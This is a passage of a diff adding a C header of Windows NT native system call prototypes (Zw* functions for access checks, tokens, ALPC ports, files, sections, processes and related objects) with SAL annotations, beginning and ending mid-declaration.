GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultList( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarmByHandle( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAcquireCMFViewOwnership( + _Out_ PULONGLONG TimeStamp, + _Out_ PBOOLEAN tokenTaken, + _In_ BOOLEAN replaceExisting + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAddAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAddAtomEx( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAddBootEntry( + _In_ PBOOT_ENTRY BootEntry, + _Out_opt_ PULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAddDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry, + _Out_opt_ PULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAdjustGroupsToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_opt_ PTOKEN_GROUPS NewState, + _In_opt_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_GROUPS PreviousState, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAdjustTokenClaimsAndDeviceGroups( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN UserResetToDefault, + _In_ BOOLEAN DeviceResetToDefault, + _In_ BOOLEAN DeviceGroupsResetToDefault, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewUserState, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewDeviceState, + _In_opt_ PTOKEN_GROUPS NewDeviceGroupsState, + _In_ ULONG UserBufferLength, + _Out_writes_bytes_to_opt_(UserBufferLength, *UserReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousUserState, + _In_ ULONG DeviceBufferLength, + _Out_writes_bytes_to_opt_(DeviceBufferLength, *DeviceReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousDeviceState, + _In_ ULONG DeviceGroupsBufferLength, + _Out_writes_bytes_to_opt_(DeviceGroupsBufferLength, *DeviceGroupsReturnBufferLength) PTOKEN_GROUPS PreviousDeviceGroups, + _Out_opt_ PULONG UserReturnLength, + _Out_opt_ PULONG DeviceReturnLength, + _Out_opt_ PULONG DeviceGroupsReturnBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlertResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlertThread( + _In_ HANDLE ThreadHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlertThreadByThreadId( + _In_ HANDLE ThreadId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAllocateLocallyUniqueId( + _Out_ PLUID Luid + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAllocateReserveObject( + _Out_ PHANDLE MemoryReserveHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ MEMORY_RESERVE_TYPE Type + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAllocateUuids( + _Out_ PULARGE_INTEGER Time, + _Out_ PULONG Range, + _Out_ PULONG Sequence, + _Out_ PCHAR Seed + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_ HANDLE ConnectionPortHandle, + _In_ ULONG Flags, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_opt_ PVOID PortContext, + _In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes, + _In_ BOOLEAN AcceptConnection + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcCancelMessage( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_ PALPC_CONTEXT_ATTR MessageContext + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSID RequiredServerSid, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PULONG BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcConnectPortEx( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ConnectionPortObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ClientPortObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSECURITY_DESCRIPTOR ServerSecurityRequirements, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcCreatePortSection( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_ SIZE_T SectionSize, + _Out_ PALPC_HANDLE AlpcSectionHandle, + _Out_ PSIZE_T ActualSectionSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcCreateResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ SIZE_T MessageSize, + _Out_ PALPC_HANDLE ResourceId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcCreateSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcCreateSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_SECURITY_ATTR SecurityAttribute + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcDeletePortSection( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE SectionHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcDeleteResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ResourceId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcDeleteSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ PVOID ViewBase + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcDeleteSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcDisconnectPort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcImpersonateClientContainerOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ PVOID Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcOpenSenderProcess( + _Out_ PHANDLE ProcessHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcOpenSenderThread( + _Out_ PHANDLE ThreadHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcQueryInformation( + _In_opt_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _Inout_updates_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcQueryInformationMessage( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ALPC_MESSAGE_INFORMATION_CLASS MessageInformationClass, + _Out_writes_bytes_to_opt_(Length, *ReturnLength) PVOID MessageInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcRevokeSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcSendWaitReceivePort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes, + _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAlpcSetInformation( + _In_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _In_reads_bytes_opt_(Length) PVOID PortInformation, + _In_ ULONG Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAreMappedFilesTheSame( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAssignProcessToJobObject( + _In_ HANDLE JobHandle, + _In_ HANDLE ProcessHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwAssociateWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE TargetObjectHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation, + _Out_opt_ PBOOLEAN AlreadySignaled + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCallbackReturn( + _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer, + _In_ ULONG OutputLength, + _In_ NTSTATUS Status + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCancelIoFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCancelIoFileEx( + _In_ HANDLE FileHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCancelSynchronousIoFile( + _In_ HANDLE ThreadHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCancelTimer( + _In_ HANDLE TimerHandle, + _Out_opt_ PBOOLEAN CurrentState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCancelTimer2( + _In_ HANDLE TimerHandle, + _In_ PT2_CANCEL_PARAMETERS Parameters + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCancelWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ BOOLEAN RemoveSignaledPacket + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwClearEvent( + _In_ HANDLE EventHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwClose( + _In_ HANDLE Handle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCloseObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCommitComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCommitEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCommitTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCompactKeys( + _In_ ULONG Count, + _In_reads_(Count) HANDLE KeyArray[] + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCompareObjects( + _In_ HANDLE FirstObjectHandle, + _In_ HANDLE SecondObjectHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCompleteConnectPort( + _In_ HANDLE PortHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCompressKey( + _In_ HANDLE Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwContinue( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateDebugObject( + _Out_ PHANDLE DebugObjectHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ HANDLE TransactionHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_ NOTIFICATION_MASK NotificationMask, + _In_opt_ PVOID EnlistmentKey + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateIRTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateJobSet( + _In_ ULONG NumJob, + _In_reads_(NumJob) PJOB_SET_ARRAY UserJobSet, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _In_ HANDLE TransactionHandle, + _Out_opt_ PULONG Disposition + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateLowBoxToken( + _Out_ PHANDLE TokenHandle, + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PSID PackageSid, + _In_ ULONG CapabilityCount, + _In_reads_opt_(CapabilityCount) PSID_AND_ATTRIBUTES Capabilities, + _In_ ULONG HandleCount, + _In_reads_opt_(HandleCount) HANDLE *Handles + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateNamedPipeFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_opt_ PLARGE_INTEGER DefaultTimeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreatePagingFile( + _In_ PUNICODE_STRING PageFileName, + _In_ PLARGE_INTEGER MinimumSize, + _In_ PLARGE_INTEGER MaximumSize, + _In_ ULONG Priority + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreatePartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreatePrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PVOID BoundaryDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ BOOLEAN InheritObjectTable, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _In_ ULONG JobMemberLevel + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateProfile( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ KAFFINITY Affinity + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateProfileEx( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ USHORT GroupCount, + _In_reads_(GroupCount) PGROUP_AFFINITY GroupAffinity + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_ LPGUID RmGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_opt_ PUNICODE_STRING Description + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateSectionEx( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle, + _In_ PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING 